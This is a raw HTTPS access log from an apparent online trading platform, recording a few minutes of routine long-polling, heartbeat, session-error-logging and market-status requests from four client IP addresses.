[09/Jan/2026:13:42:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937640341 HTTP/1.1" -
[09/Jan/2026:13:42:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:42:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:42:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937660676 HTTP/1.1" -
[09/Jan/2026:13:42:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937651418 HTTP/1.1" -
[09/Jan/2026:13:42:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937645832 HTTP/1.1" -
[09/Jan/2026:13:42:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937645366 HTTP/1.1" -
[09/Jan/2026:13:43:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937665702 HTTP/1.1" -
[09/Jan/2026:13:43:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937656487 HTTP/1.1" -
[09/Jan/2026:13:43:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937650993 HTTP/1.1" -
[09/Jan/2026:13:43:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:43:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:43:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937650399 HTTP/1.1" -
[09/Jan/2026:13:43:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937670766 HTTP/1.1" -
[09/Jan/2026:13:43:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937661591 HTTP/1.1" -
[09/Jan/2026:13:43:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937656128 HTTP/1.1" -
[09/Jan/2026:13:43:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937655467 HTTP/1.1" -
[09/Jan/2026:13:43:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937675790 HTTP/1.1" -
[09/Jan/2026:13:43:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937666660 HTTP/1.1" -
[09/Jan/2026:13:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937661199 HTTP/1.1" -
[09/Jan/2026:13:43:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937660534 HTTP/1.1" -
[09/Jan/2026:13:43:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937680867 HTTP/1.1" -
[09/Jan/2026:13:43:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937671751 HTTP/1.1" -
[09/Jan/2026:13:43:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937666256 HTTP/1.1" -
[09/Jan/2026:13:43:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:43:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:43:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937665609 HTTP/1.1" -
[09/Jan/2026:13:43:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:43:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:43:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937685922 HTTP/1.1" -
[09/Jan/2026:13:43:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937676829 HTTP/1.1" -
[09/Jan/2026:13:43:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:43:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937671400 HTTP/1.1" -
[09/Jan/2026:13:43:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937670672 HTTP/1.1" -
[09/Jan/2026:13:43:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:43:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937690956 HTTP/1.1" -
[09/Jan/2026:13:43:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937681870 HTTP/1.1" -
[09/Jan/2026:13:43:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937676555 HTTP/1.1" -
[09/Jan/2026:13:43:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937675711 HTTP/1.1" -
[09/Jan/2026:13:43:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937695985 HTTP/1.1" -
[09/Jan/2026:13:43:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937687002 HTTP/1.1" -
[09/Jan/2026:13:43:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:43:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:43:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937681763 HTTP/1.1" -
[09/Jan/2026:13:43:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937680743 HTTP/1.1" -
[09/Jan/2026:13:43:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937701018 HTTP/1.1" -
[09/Jan/2026:13:43:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937692080 HTTP/1.1" -
[09/Jan/2026:13:43:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937686814 HTTP/1.1" -
[09/Jan/2026:13:43:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937685899 HTTP/1.1" -
[09/Jan/2026:13:43:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937697174 HTTP/1.1" -
[09/Jan/2026:13:43:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937706090 HTTP/1.1" -
[09/Jan/2026:13:43:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937691880 HTTP/1.1" -
[09/Jan/2026:13:43:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937690964 HTTP/1.1" -
[09/Jan/2026:13:43:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937702236 HTTP/1.1" -
[09/Jan/2026:13:43:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937711874 HTTP/1.1" -
[09/Jan/2026:13:43:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:43:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:43:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937697042 HTTP/1.1" -
[09/Jan/2026:13:43:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:43:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937696032 HTTP/1.1" -
[09/Jan/2026:13:43:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:43:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937707342 HTTP/1.1" -
[09/Jan/2026:13:43:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937716945 HTTP/1.1" -
[09/Jan/2026:13:43:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:43:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:43:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:43:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937702184 HTTP/1.1" -
[09/Jan/2026:13:43:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937701097 HTTP/1.1" -
[09/Jan/2026:13:43:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937712374 HTTP/1.1" -
[09/Jan/2026:13:43:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937721975 HTTP/1.1" -
[09/Jan/2026:13:43:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937707323 HTTP/1.1" -
[09/Jan/2026:13:43:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937706129 HTTP/1.1" -
[09/Jan/2026:13:44:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937717442 HTTP/1.1" -
[09/Jan/2026:13:44:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937727003 HTTP/1.1" -
[09/Jan/2026:13:44:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:44:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:44:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937712451 HTTP/1.1" -
